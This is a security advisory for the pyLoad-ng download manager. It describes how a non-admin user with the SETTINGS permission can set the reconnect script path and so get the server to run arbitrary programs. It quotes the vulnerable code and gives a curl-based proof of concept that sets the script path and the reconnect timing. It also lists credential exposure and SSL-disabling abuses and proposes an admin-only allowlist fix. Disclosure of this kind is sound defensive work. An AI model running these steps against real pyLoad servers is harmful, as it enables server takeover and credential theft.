PT-2026-59620 · Pypi · Pyload-Ng

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

7.5

Alta

VetorAV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The set config value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set config value() is a hardcoded check for general.storage folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.

Details

The vulnerability chain spans two components:
1. Unrestricted config write — src/pyload/core/api/ init .py:210-243
python
@permission(Perms.SETTINGS)
@post
def set config value(self, category: str, option: str, value: Any, section: str = "core") -> None:
  self.pyload.addon manager.dispatch event(
    "config changed", category, option, value, section
  )
  if section == "core":
    if category == "general" and option == "storage folder":
      # Forbid setting the download folder inside dangerous locations
      # ... validation only for storage folder ...
      return

    self.pyload.config.set(category, option, value) # No validation for any other option
The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storage folder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.
2. Arbitrary script execution — src/pyload/core/managers/thread manager.py:157-199
python
def try reconnect(self):
  if not (
    self.pyload.config.get("reconnect", "enabled")
    and self.pyload.api.is time reconnect()
  ):
    return False

  # ... checks if active downloads want reconnect ...

  reconnect script = self.pyload.config.get("reconnect", "script")
  if not os.path.isfile(reconnect script):
    self.pyload.config.set("reconnect", "enabled", False)
    self.pyload.log.warning(self. ("Reconnect script not found!"))
    return

  # ... reconnect logic ...

  try:
    subprocess.run(reconnect script) # Executes attacker-controlled path
  except Exception:
    # ...
The reconnect script value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.
3. Attacker also controls timing via same SETTINGS permission
The attacker can set reconnect.enabled=True, reconnect.start time, and reconnect.end time through the same set config value() endpoint to control when execution occurs. toggle reconnect() at line 321 requires only Perms.STATUS — an even lower privilege.
4. Additional privilege escalation via config access
Beyond RCE, the same unrestricted config write allows SETTINGS users to:
  • Read proxy credentials (proxy.username/proxy.password) in plaintext via get config()
  • Redirect syslog to an attacker-controlled server (log.syslog host/log.syslog port)
  • Disable SSL (webui.use ssl=False), rebind to 0.0.0.0 (webui.host)
  • Modify SSL certificate/key paths to enable MITM

PoC

Step 1: Set reconnect script to an attacker-controlled executable
Via API:
bash
# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' 
 -d 'username=settingsuser&password=pass123'

# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'
Via Web UI:
bash
curl -b cookies.txt -X POST 'http://target:8000/json/save config?category=core' 
 -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
Step 2: Enable reconnect and set timing window
bash
curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=start time&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=end time&value=23:59&section=core'
Step 3: Script executes when thread manager calls try reconnect()
The thread manager's run() method (called repeatedly by the core loop) invokes try reconnect(), which calls subprocess.run(reconnect script) at thread manager.py:199.
Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

Impact

  • Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user
  • Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability
  • Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via get config()
  • Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

Recommended Fix

Add an allowlist or category-level restriction in set config value() that prevents non-admin users from modifying security-critical options:
python
# In set config value(), after the storage folder check:
ADMIN ONLY OPTIONS = {
  ("reconnect", "script"),
  ("webui", "host"),
  ("webui", "use ssl"),
  ("webui", "ssl cert"),
  ("webui", "ssl key"),
  ("log", "syslog host"),
  ("log", "syslog port"),
  ("proxy", "username"),
  ("proxy", "password"),
}

if section == "core" and (category, option) in ADMIN ONLY OPTIONS:
  # Require ADMIN role for security-critical settings
  if not self.pyload.api.user data.get("role") == Role.ADMIN:
    raise PermissionError(f"Admin role required to modify {category}.{option}")
Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-2996

Produtos afetados

Pyload-Ng